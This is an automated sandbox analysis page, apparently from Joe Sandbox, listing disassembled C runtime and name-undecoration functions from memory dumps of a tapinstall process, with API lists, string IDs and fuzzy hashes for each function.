                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: 0
                                                                                                                      • API String ID: 3215553584-4108050209
                                                                                                                      • Opcode ID: b9c2a45f343b5c87b971f1cf71d6bc23156fee6f057cfd2d8e17317b84542c78
                                                                                                                      • Instruction ID: 1e4c358dbfb5a7b12870e20b5577cbbea3378122989d8d47dfd6d0feff41bf19
                                                                                                                      • Opcode Fuzzy Hash: b9c2a45f343b5c87b971f1cf71d6bc23156fee6f057cfd2d8e17317b84542c78
                                                                                                                      • Instruction Fuzzy Hash: 7171E511A0D287C6FA64AA2950143BDE793AF41F44FCC11B6DD590779ECE2DE8468723
                                                                                                                      Function 00007FF76A6F4698 Relevance: 1.4, Strings: 1, Instructions: 200COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID: 0
                                                                                                                      • API String ID: 0-4108050209
                                                                                                                      • Opcode ID: 5db9519db1cddfaa4ec0483ba47a9384cbcec5f952c5f7433adf20521fb9aad9
                                                                                                                      • Instruction ID: 9e0b1785d8712574d53359e44717d769614650988e7ac3daeeaf177e0c4d225f
                                                                                                                      • Opcode Fuzzy Hash: 5db9519db1cddfaa4ec0483ba47a9384cbcec5f952c5f7433adf20521fb9aad9
                                                                                                                      • Instruction Fuzzy Hash: 51711811E0C283C6FA656A2952083B9D793AF42F44FDC11B1DD6817ED9CFADE8468721
                                                                                                                      Function 00007FF76A6F4430 Relevance: 1.4, Strings: 1, Instructions: 196COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: 0
                                                                                                                      • API String ID: 3215553584-4108050209
                                                                                                                      • Opcode ID: 90d249107c8bf112e4df0f58921203419683959deed1fc803af336b87ec38021
                                                                                                                      • Instruction ID: 5b16d510e9f09df0e3b416358ec7c8873cf1905ff2b64e39ffdab6d5586e639e
                                                                                                                      • Opcode Fuzzy Hash: 90d249107c8bf112e4df0f58921203419683959deed1fc803af336b87ec38021
                                                                                                                      • Instruction Fuzzy Hash: 9761F851A0C243C6FA74BA2952083BAD7939F41F44FCC11B1DE8917BDACEADE8478761
                                                                                                                      Function 00007FF76A6F4914 Relevance: 1.4, Strings: 1, Instructions: 196COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: 0
                                                                                                                      • API String ID: 3215553584-4108050209
                                                                                                                      • Opcode ID: 39f1ec5bb102f363b1fb50bc343c603d561d49684c5f7139075a3ba3241001c7
                                                                                                                      • Instruction ID: 5e5e0e2a7151908b1b6697637fb1a48844b3c6cda150bb7fc1bb1f2de466ed72
                                                                                                                      • Opcode Fuzzy Hash: 39f1ec5bb102f363b1fb50bc343c603d561d49684c5f7139075a3ba3241001c7
                                                                                                                      • Instruction Fuzzy Hash: 7D61F711A0C243C6FA746A2952083B9D793EF41F44FCC11B2DD4917A9ECEADE8868769
                                                                                                                      Function 00007FF76A71D168 Relevance: 1.4, APIs: 1, Instructions: 137COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • GetLastError.KERNEL32 ref: 00007FF76A71D20D
                                                                                                                        • Part of subcall function 00007FF76A707978: HeapAlloc.KERNEL32(?,?,00000000,00007FF76A7077C1,?,?,00000000,00007FF76A706B85,?,?,?,?,00007FF76A6E6CA8), ref: 00007FF76A7079CD
                                                                                                                        • Part of subcall function 00007FF76A7079F8: HeapFree.KERNEL32(?,?,?,00007FF76A7132DC,?,?,?,00007FF76A7136FF,?,?,00000000,00007FF76A713F44,?,?,?,00007FF76A713E77), ref: 00007FF76A707A0E
                                                                                                                        • Part of subcall function 00007FF76A7079F8: GetLastError.KERNEL32(?,?,?,00007FF76A7132DC,?,?,?,00007FF76A7136FF,?,?,00000000,00007FF76A713F44,?,?,?,00007FF76A713E77), ref: 00007FF76A707A20
                                                                                                                        • Part of subcall function 00007FF76A71C088: _invalid_parameter_noinfo.LIBCMT ref: 00007FF76A71C0B6
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorHeapLast$AllocFree_invalid_parameter_noinfo
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 916656526-0
                                                                                                                      • Opcode ID: bdc19389d7424b13ec30ac8dba11af17a85217a491f899bfad80f2150ff4fb30
                                                                                                                      • Instruction ID: 91d37ac6bfef52e1a21ce5741931780e3cefdf315acc361649d58ab504cb0f86
                                                                                                                      • Opcode Fuzzy Hash: bdc19389d7424b13ec30ac8dba11af17a85217a491f899bfad80f2150ff4fb30
                                                                                                                      • Instruction Fuzzy Hash: 6F41DB61B09643C2FAB1BF6668117BAE2C46F4D7C1FC84575ED5D47786DE3CE8008628
                                                                                                                      Function 00007FF76A7157E0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: HeapProcess
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 54951025-0
                                                                                                                      • Opcode ID: ad7aa9be03b136a8b86c241834f3511267ad507e402bf7d5c4e724964e796d7d
                                                                                                                      • Instruction ID: ecba9a64dff3dc9e9938c3f4698d448a6809a2c8ac786c437788df136849c0df
                                                                                                                      • Opcode Fuzzy Hash: ad7aa9be03b136a8b86c241834f3511267ad507e402bf7d5c4e724964e796d7d
                                                                                                                      • Instruction Fuzzy Hash: 89B09220F0BA02C2FA083F12AC82254B2A4BFAC700FD540B8C00C42320EE2C20A56B20
                                                                                                                      Function 00007FF76A702640 Relevance: .4, Instructions: 355COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorLastNameTranslatetry_get_function$CodePageValid_invalid_parameter_noinfo
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3827717455-0
                                                                                                                      • Opcode ID: 3f501d995b418e08b38f9edfabc86e8d3cac6d216730b2c8e5cca3346fb82f23
                                                                                                                      • Instruction ID: 7c8db244dbfae8e39eb7e9b61ae7704d5a2c983bc0ffe00d7110551cd94cd10b
                                                                                                                      • Opcode Fuzzy Hash: 3f501d995b418e08b38f9edfabc86e8d3cac6d216730b2c8e5cca3346fb82f23
                                                                                                                      • Instruction Fuzzy Hash: 5DE1B2A2A08682C5FB60AF61DC107BAA7A0FF98788F8440B5DF8D47695EF3CD541C760
                                                                                                                      Function 00007FF76A714340 Relevance: .3, Instructions: 276COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorLast$CurrentFeatureInfoLocalePresentProcessProcessortry_get_function
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 959782435-0
                                                                                                                      • Opcode ID: d56ceefded4baa13521f4f609e87cf593d89bf52db51a349a613b99c63d43d38
                                                                                                                      • Instruction ID: 6e1670c37bb53eaf99d777fc2ee4e9e856dfd9f1cbbfca0d3c6786c84dc7c83a
                                                                                                                      • Opcode Fuzzy Hash: d56ceefded4baa13521f4f609e87cf593d89bf52db51a349a613b99c63d43d38
                                                                                                                      • Instruction Fuzzy Hash: F1B1F6A2A18646C2FB65AF21D4116B9B3E1FB48B8CF884171DE4D836C9DF3CE941D760
                                                                                                                      Function 00007FF76A6F4E5C Relevance: .2, Instructions: 221COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c849b448950fe45e02ea9840edd387fd791acb62ee3a335009b810c1d76624ef
                                                                                                                      • Instruction ID: caaa030a67bef8cb882584e56b98f5095edda178dc516214725547f7949ff0c1
                                                                                                                      • Opcode Fuzzy Hash: c849b448950fe45e02ea9840edd387fd791acb62ee3a335009b810c1d76624ef
                                                                                                                      • Instruction Fuzzy Hash: 87812825A19203C6FB68BE1981046B9A293EF80F44FCC9176DD4D47BD8CF6EE846C361
                                                                                                                      Function 00007FF76A6F4B7C Relevance: .2, Instructions: 217COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3215553584-0
                                                                                                                      • Opcode ID: b9fb1412a969e83ffd452d5568cc414aa092d552430bd97b87d94c05d621c441
                                                                                                                      • Instruction ID: 2b605494b451dc99d0ab0ddeff7fc6284f940fdb5ca7126f5ee4316f99e59d27
                                                                                                                      • Opcode Fuzzy Hash: b9fb1412a969e83ffd452d5568cc414aa092d552430bd97b87d94c05d621c441
                                                                                                                      • Instruction Fuzzy Hash: 6F812A25A18203C2F768BB1992086B9A693EF40F44FCC6175DD4D53BD9CF6DE846C720
                                                                                                                      Function 00007FF76A6F5150 Relevance: .2, Instructions: 217COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3215553584-0
                                                                                                                      • Opcode ID: fda6414e0ca285d7d3c641e812502447004db9316ab5bd4eb360a61517eae451
                                                                                                                      • Instruction ID: 83bba01ad4194fbcdd48aea52971550e42e7dfea40d05d60ad9b7f81340a2091
                                                                                                                      • Opcode Fuzzy Hash: fda6414e0ca285d7d3c641e812502447004db9316ab5bd4eb360a61517eae451
                                                                                                                      • Instruction Fuzzy Hash: 1481F526E1C203C6FBA8BA1980006B9A693EF41F44FCC9276DD49476D9DF2DEC468761
                                                                                                                      Function 00007FF76A703F14 Relevance: .1, Instructions: 126COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorFreeHeapLast
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 485612231-0
                                                                                                                      • Opcode ID: b28074559aeab5e219c3ff33a27b5a6f1737238eeca4a21f3c0611eb71f637c7
                                                                                                                      • Instruction ID: cbcb73497f6ceb1679635abd19bf264c3c26ff618ec7ab6eff57b2841fb9d1ab
                                                                                                                      • Opcode Fuzzy Hash: b28074559aeab5e219c3ff33a27b5a6f1737238eeca4a21f3c0611eb71f637c7
                                                                                                                      • Instruction Fuzzy Hash: F841E362714A54C6FF48DF2AD914569F3A1AB4CFE4B899136EE0D97B68DF3CD0429300
                                                                                                                      Function 00007FF76A721B20 Relevance: .0, Instructions: 32COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 12c6a83125842657aa20d81587556ef437bc21cebfee6fedb56fe02cecd375e9
                                                                                                                      • Instruction ID: 18badd30e24fd661c12cafca70af0dbb7beb31cfdc382f08db327529894145ef
                                                                                                                      • Opcode Fuzzy Hash: 12c6a83125842657aa20d81587556ef437bc21cebfee6fedb56fe02cecd375e9
                                                                                                                      • Instruction Fuzzy Hash: 25F06272B182D5CAEBA49F28E8526A9B7E0F75C380F908479D68D83B14DA7C90608F14
                                                                                                                      Function 00007FF76A6D8738 Relevance: .0, Instructions: 2COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 075bea70bcd4d8cceaabd6cf7978304fe9b2e4df568cf5a1b525f3513ad4298d
                                                                                                                      • Instruction ID: a93643e3b467ed295178ddc6f91795e3c68c18c675c3cd832cdeb32a5ebf7250
                                                                                                                      • Opcode Fuzzy Hash: 075bea70bcd4d8cceaabd6cf7978304fe9b2e4df568cf5a1b525f3513ad4298d
                                                                                                                      • Instruction Fuzzy Hash: BAA00125908942D0F646AB01A858134A3A1FB58740B8014B1D00D410A4DE2CA4109624
                                                                                                                      Function 00007FF76A6DE890 Relevance: 82.7, APIs: 44, Strings: 3, Instructions: 459COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Name::operator+Name::operator+=$Decorator::getName$Name::Name::operator=$Name::doPchar$DimensionSigned$DataDecoratedEncodingStringSymbolType
                                                                                                                      • String ID: `anonymous namespace'$`string'$operator
                                                                                                                      • API String ID: 2020783597-815891235
                                                                                                                      • Opcode ID: aede423d4dabe3da59b1e03a92da396b2b5059be44e77dc81dd73a52e45e54ff
                                                                                                                      • Instruction ID: a99db2e415963c606f8b2ab19f0e1759be25f7f36ee4e7e189db9892c628144d
                                                                                                                      • Opcode Fuzzy Hash: aede423d4dabe3da59b1e03a92da396b2b5059be44e77dc81dd73a52e45e54ff
                                                                                                                      • Instruction Fuzzy Hash: DA228C62E19A56C8FB10BB60D8901FCA362BF15FC8FD440B6DA0E57699DF2CE465C360
                                                                                                                      Function 00007FF76A6DC6CC Relevance: 73.8, APIs: 17, Strings: 25, Instructions: 277COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Name::operator=$Name::operator+Name::operator+=$Decorator::getNameName::Type$DataName::doPchar
                                                                                                                      • String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $bool$char$char16_t$char32_t$const$double$float$int$long$long $short$signed $unsigned $void$volatile$wchar_t
                                                                                                                      • API String ID: 1480303775-3737837666
                                                                                                                      • Opcode ID: 5336914cda9eb7d28fc33c9881fb9f0eefb368431fddd4b441b46ed6f18de0a2
                                                                                                                      • Instruction ID: 132a6da6db65b7c4a8aff89008963ef908388c87dbfd9c881cb67e65377f7254
                                                                                                                      • Opcode Fuzzy Hash: 5336914cda9eb7d28fc33c9881fb9f0eefb368431fddd4b441b46ed6f18de0a2
                                                                                                                      • Instruction Fuzzy Hash: 44D16E62E1C60BD4FB50FB64E8802BCA772AB48B94FD045B2D90E9A598DF7CF554C360
                                                                                                                      Function 00007FF76A6E03F0 Relevance: 59.7, APIs: 30, Strings: 4, Instructions: 242COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Decorator::get$Name::operator+=$DimensionSigned$Name$Name::operator+$DecoratedName::$DataName::doName::getPcharStringType
                                                                                                                      • String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-
                                                                                                                      • API String ID: 283215372-4167119577
                                                                                                                      • Opcode ID: 7b301788f1c808b6dbcb0f6369f2a7d1d94637bd6059d460935599cb42e21360
                                                                                                                      • Instruction ID: 8c13b37c59b78261bc0da42e2054f752178b5de8cf503b2daf94cbaaeb8c88d6
                                                                                                                      • Opcode Fuzzy Hash: 7b301788f1c808b6dbcb0f6369f2a7d1d94637bd6059d460935599cb42e21360
                                                                                                                      • Instruction Fuzzy Hash: E2B18E62F4C642C8FB10BB64D4542FCA362AF64B84FD500B6CA0D176D6DE3DE50AC760
                                                                                                                      Function 00007FF76A6DE070 Relevance: 52.9, APIs: 35, Instructions: 365COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Name::operator+$Decorator::get$DataIndirectNameName::Name::doName::operator+=PcharScopeType
                                                                                                                      • String ID:
